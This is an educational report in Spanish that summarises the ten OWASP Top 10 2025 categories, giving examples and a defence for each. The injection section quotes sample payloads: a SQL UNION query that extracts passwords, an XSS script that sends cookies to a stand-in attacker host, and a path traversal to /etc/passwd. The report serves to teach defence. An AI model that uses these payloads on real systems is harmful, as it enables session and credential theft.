14 de Enero de 2026

OWASP – 10 Vulnerabilidades

GONZALO JUNQUERA LORENZO

ÍNDICE

01. Control de acceso defectuoso

Es la vulnerabilidad más común porque es difícil de automatizar en las pruebas; requiere entender la lógica de negocio. Ocurre cuando el sistema no verifica si el usuario que solicita un recurso tiene realmente derecho a él.

- **Profundización:** Incluye la **Inseguridad de Referencia Directa a Objetos (IDOR)** y la **Elevación de Privilegios**. En 2025, el **SSRF** se incluye aquí porque el servidor actúa como un "proxy" que accede a recursos internos (como metadatos de la nube o APIs privadas) que el atacante no debería alcanzar.
- **Ejemplo (IDOR) :** Una aplicación web permite ver perfiles mediante la URL https://ejemplo.com/perfil/100. Un atacante cambia el número a https://ejemplo.com/perfil/101 y puede ver los datos privados de otro usuario sin estar autorizado.
- **Ejemplo (SSRF):** Un atacante usa una función de "importar imagen desde URL" para obligar al servidor a hacer una petición a http://localhost:8080/admin, logrando acceder a un panel de control interno que no debería ser visible desde internet.
- **Defensa:** Usar tokens de acceso que no se puedan manipular (como JWT firmados) y realizar verificaciones de propiedad en cada consulta a la base de datos.

https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/

02. Configuración incorrecta de seguridad

Se refiere a sistemas que no están debidamente endurecidos (hardening). Esto incluye configuraciones por defecto, servicios innecesarios activos o permisos de nube mal gestionados .

1. ¿Por qué es un riesgo sistémico?

En la era de la "Nube" y los "Microservicios", una aplicación no es solo código; es un ecosistema de contenedores (Docker), orquestadores (Kubernetes), bases de datos y APIs. Cada componente tiene cientos de ajustes posibles. El riesgo surge cuando:

- Se mantienen las **configuraciones de fábrica** (que priorizan la facilidad de uso sobre la seguridad).
- Existe **deriva de configuración**: los cambios manuales en producción hacen que el sistema sea distinto a lo planeado.
- Hay **exceso de verbosidad**: el sistema revela demasiada información técnica en errores o cabeceras.

2. Vectores de Ataque Comunes

- **Servicios Innecesarios:** Mantener activos puertos como el 21 (FTP) o el 23 (Telnet) en servidores modernos.
- **Mensajes de Error Detallados:** Cuando una base de datos falla, la web muestra la consulta SQL completa y la ruta del archivo en el servidor. Esto le da al atacante el "mapa" exacto para su siguiente ataque.
- **Cabeceras HTTP ausentes:** No configurar Content-Security-Policy (CSP) o X-Content-Type-Options, lo que facilita ataques de sniffing o inyección.

- **Ejemplo:** Un servidor web configurado para listar el contenido de los directorios permite que un atacante navegue por las carpetas del código fuente y encuentre archivos de configuración .env con claves de bases de datos.
- **Ejemplo (Nube):** Un administrador configura un bucket de almacenamiento (como AWS S3) para guardar backups, pero olvida marcarlo como privado. Un atacante usa una herramienta de escaneo y descarga miles de documentos confidenciales de la empresa.
- **Ejemplo (Software):** Una aplicación se despliega con la consola de administración activa y la contraseña por defecto (admin/admin), permitiendo a un atacante tomar el control total del servidor en segundos.
- **Defensa:** Implementar "Infraestructura como Código" (IaC) para que las configuraciones sean repetibles, seguras y revisables antes del despliegue.

https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/

03. Fallas en la cadena de suministro de software

Es la amenaza más sofisticada de esta edición. Las aplicaciones modernas son un "Frankenstein" de piezas de terceros; si una de esas piezas es maliciosa, toda la aplicación está comprometida. Se centra en el riesgo de utilizar bibliotecas, dependencias o herramientas de terceros que han sido comprometidas por atacantes.

- **Profundización:** Se centra en la integridad del ciclo de vida del software. Los atacantes ya no atacan tu web directamente, sino que atacan la librería que usas para procesar fechas o el software que usas para compilar tu código.
- **Ejemplo (Dependency Confusion):** Un atacante descubre que una empresa usa una librería interna llamada auth-internal. El atacante sube una librería con el mismo nombre pero versión superior a un repositorio público (como npm). El sistema de la empresa descarga automáticamente la versión del atacante.
- **Ejemplo (Envenenamiento de Pipeline):** Un atacante logra comprometer el servidor donde se compila el software (CI/CD) e inserta una "puerta trasera" (backdoor) en el código justo antes de que se distribuya a los clientes.
- **Defensa:** Generar un **SBOM** (Inventario de software), usar espejos privados de repositorios y firmar digitalmente cada artefacto de software.

https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/

04. Fallas criptográficas

El foco aquí es la protección de los datos. La criptografía es difícil de implementar; un solo error en la elección del algoritmo o en la gestión de las claves anula toda la protección. No se trata solo de "hackear" el cifrado, sino de no usarlo o usarlo mal.

- **Profundización:** Se refiere a la exposición de datos críticos (números de tarjeta, salud, contraseñas). Incluye el uso de protocolos obsoletos, la falta de "sal" (salt) en los hashes de contraseñas y la generación de números aleatorios predecibles.
- **Ejemplo:** Una aplicación usa el protocolo **TLS 1.0**, que tiene vulnerabilidades conocidas. Un atacante realiza un ataque de "degradación" (downgrade) para forzar la conexión a ese protocolo débil y descifrar la comunicación.
- **Ejemplo (Datos en tránsito):** Una página de login usa HTTP en lugar de HTTPS. Un atacante en la misma red Wi-Fi (como en una cafetería) intercepta el tráfico y lee las contraseñas de los usuarios en texto plano.
- **Ejemplo (Algoritmos débiles):** Una empresa cifra sus contraseñas usando **MD5**. Un atacante roba la base de datos y, usando "tablas arcoíris" (precalculadas), revierte el hash en milisegundos para obtener las contraseñas reales.
- **Defensa:** Clasificar los datos según su sensibilidad y aplicar cifrado fuerte (AES-256, RSA-4096) tanto en reposo como en tránsito.

https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/

05. Inyección

A pesar de ser conocida desde hace décadas, sigue presente porque los desarrolladores a veces confían en la entrada del usuario. Ocurre cuando se envían datos no confiables a un intérprete como parte de un comando o consulta. El intérprete es engañado para ejecutar comandos involuntarios.

- **Profundización:** Cualquier intérprete puede ser inyectado: SQL, NoSQL, comandos de sistema operativo, LDAP e incluso plantillas de correo (SSTI). El principio es siempre el mismo: el atacante rompe el contexto de "dato" para entrar en el contexto de "comando".
- **Ejemplo (SQLi):** En un campo de búsqueda, un atacante escribe ' UNION SELECT username, password FROM users --. La base de datos concatena esto y devuelve toda la lista de usuarios y contraseñas en lugar de los resultados de búsqueda.
- **Ejemplo (XSS):** Un atacante publica un comentario en un blog que contiene: <script>document.location='http://atacante.com/robo?cookie='+document.cookie</script>. Cada vez que un usuario lee el comentario, su sesión es robada automáticamente.
- **Ejemplo:** Un sistema de archivos permite descargar archivos pasando un nombre: descargar.php?archivo=foto.jpg. El atacante envía archivo=../../../etc/passwd para leer archivos del sistema operativo (Path Traversal).
- **Defensa:** Usar APIs seguras que no usen intérpretes, o en su defecto, usar **consultas parametrizadas** y validación de entrada por "lista blanca".

https://owasp.org/Top10/2025/A05_2025-Injection/

06. Diseño inseguro

Esta categoría critica la falta de una cultura de seguridad en el diseño. Es la diferencia entre un edificio con una cerradura rota (fallo de implementación) y un edificio construido sin puertas de emergencia (fallo de diseño). Se diferencia de otras categorías porque aquí el código puede estar "bien escrito" según la sintaxis, pero el **concepto o la lógica** son vulnerables desde el dibujo técnico.

- **Profundización:** Requiere técnicas como el **Modelado de Amenazas**. Se enfoca en flujos lógicos que, aunque funcionen técnicamente bien, son peligrosos.
- **Ejemplo (Lógica de Negocio):** Una web de retail permite aplicar cupones de descuento. El diseño no limita cuántos cupones se pueden usar. Un atacante aplica el mismo cupón de 10€ cien veces y consigue una compra de 1.000€ gratis.
- **Ejemplo (Recuperación de cuenta):** Un diseño que permite recuperar la contraseña respondiendo "¿Cuál es tu color favorito?" es inherentemente inseguro, ya que la respuesta es fácil de adivinar o investigar en redes sociales.
- **Ejemplo:** Una web de subastas permite pujar. El diseño permite que un usuario puje una cantidad negativa, lo que acaba restando dinero del total en lugar de sumarlo, porque el sistema no diseñó una validación de "lógica de negocio".
- **Defensa:** Adoptar un ciclo de vida de desarrollo seguro (SDLC) y realizar revisiones de diseño antes de escribir la primera línea de código.

https://owasp.org/Top10/2025/A06_2025-Insecure_Design/

07. Fallos de autenticación

Confirmar que "quien dice ser, realmente lo es" es más difícil de lo que parece. Esta categoría cubre desde la gestión de contraseñas hasta la gestión de sesiones. Problemas al confirmar la identidad del usuario, permitiendo que atacantes comprometan contraseñas, tokens de sesión o asuman identidades ajenas.

- **Profundización:** Incluye la falta de protección contra fuerza bruta, el uso de preguntas de seguridad débiles y la gestión incorrecta de "Recordar sesión". También aborda la debilidad de los tokens de sesión que no rotan tras un cambio de contraseña.
- **Ejemplo (Relleno de Credenciales):** Un atacante usa una lista de millones de correos y contraseñas filtrados de otros sitios. Como la aplicación no tiene Multi-Factor (MFA) ni bloqueo por intentos fallidos, el atacante logra entrar en cientos de cuentas que repetían contraseña.
- **Ejemplo (Sesión expuesta):** Una aplicación pone el ID de sesión en la URL: https://banco.com/dashboard?sessionid=ABC12 345. Si el usuario comparte ese enlace o alguien lo ve en el historial, puede entrar en su cuenta sin contraseña.
- **Defensa:** Implementar **MFA** (Doble factor) obligatoriamente y usar gestores de identidad probados (como OAuth2 o OpenID Connect) en lugar de crear uno propio.

https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/

08. Fallas de integridad de software o datos

Se centra en la suposición de que los datos o el código que recibimos son legítimos. Es vital en aplicaciones que intercambian objetos complejos o realizan actualizaciones automáticas. Se refiere a confiar en código o datos sin verificar su procedencia o si han sido alterados. Incluye la deserialización insegura.

- **Profundización:** La **deserialización insegura** es el riesgo estrella aquí. Cuando conviertes un archivo o un JSON de nuevo en un objeto de programación, podrías estar ejecutando código oculto en sus propiedades.
- **Ejemplo (Actualización maliciosa):** Una aplicación descarga actualizaciones automáticas desde un servidor, pero no verifica la firma digital del archivo. Un atacante intercepta la conexión y sustituye la actualización por un troyano.
- **Ejemplo (Deserialización):** Un portal de juegos guarda el estado de la partida en un objeto serializado que el usuario puede editar. El atacante modifica el objeto para incluir una instrucción que ejecute código en el servidor al ser "rearmado".
- **Ejemplo:** Una aplicación móvil envía el estado del usuario al servidor como un objeto serializado. El atacante modifica el objeto para que, al ser procesado por el servidor, invoque una función del sistema que borre la base de datos.
- **Defensa:** No aceptar objetos serializados de fuentes no confiables. Usar formatos de datos simples como JSON puro con validación de esquema estricta.

https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/

09. Errores de registro y alertas de seguridad

Esta es la "caja negra" de la aplicación. Sin registros (logs) adecuados, las empresas tardan una media de 200 días en detectar una brecha. Es la incapacidad de detectar y responder a brechas de seguridad. Si no registras lo que pasa, no puedes saber si te están atacando.

- **Profundización:** Los registros deben ser legibles para humanos y máquinas, deben estar protegidos contra alteraciones y deben generar alertas inmediatas ante eventos críticos (escalada de privilegios, errores masivos, intentos de inyección).
- **Ejemplo (Ataque invisible):** Un atacante intenta miles de contraseñas contra una cuenta durante semanas. Como la aplicación no registra los inicios de sesión fallidos ni alerta al administrador, el atacante finalmente tiene éxito y nadie se entera hasta meses después.
- **Ejemplo (Borrado de huellas):** Un atacante entra al servidor y borra los registros locales. Si la empresa no enviaba los logs a un servidor externo seguro, no habrá rastro del robo de datos.
- **Ejemplo:** Un atacante logra entrar en un servidor. Durante tres meses, extrae 1GB de datos cada día. Como el sistema no registra el volumen de salida de datos ni alerta sobre transferencias inusuales, el robo solo se descubre cuando los datos se publican en internet.
- **Defensa:** Usar soluciones **SIEM** (Security Information and Event Management) para centralizar y analizar logs en tiempo real.

https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/

10. Mal manejo de condiciones excepcionales

Esta nueva categoría de 2025 aborda la robustez del sistema ante el caos. Cuando una aplicación se enfrenta a un error inesperado, su reacción determina la seguridad. Se enfoca en cómo la aplicación se comporta cuando algo sale mal (errores de servidor, caídas de servicios, falta de memoria).

- **Profundización:** Incluye el "fallo abierto" (abrir puertas si el sensor falla), fugas de información en mensajes de error y condiciones de carrera (Race Conditions) donde dos procesos chocan y dejan el sistema en un estado inseguro.
- **Ejemplo (Fallo Abierto):** Una aplicación consulta un servidor externo para saber si un usuario tiene permisos. Si ese servidor se cae, el código de la aplicación, por un error de lógica, devuelve "verdadero" por defecto para no interrumpir el servicio, permitiendo que cualquiera sea administrador.
- **Ejemplo (Fuga de Memoria):** Cuando la aplicación sufre un error crítico de "Pánico", genera un reporte de depuración que se guarda en una carpeta pública. Ese reporte contiene un volcado de la memoria RAM donde se pueden leer claves de cifrado de otros usuarios activos.
- **Ejemplo:** Un servidor se queda sin memoria RAM. Al intentar procesar una petición, el manejador de errores falla y, en lugar de dar un error 500, permite el paso de la petición sin pasar por el filtro de seguridad de la API.
- **Defensa:** Programación defensiva. Asegurarse de que cada try-catch termine en un estado seguro y realizar pruebas de estrés (Fuzzing) para ver cómo reacciona el código bajo presión extrema.

https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/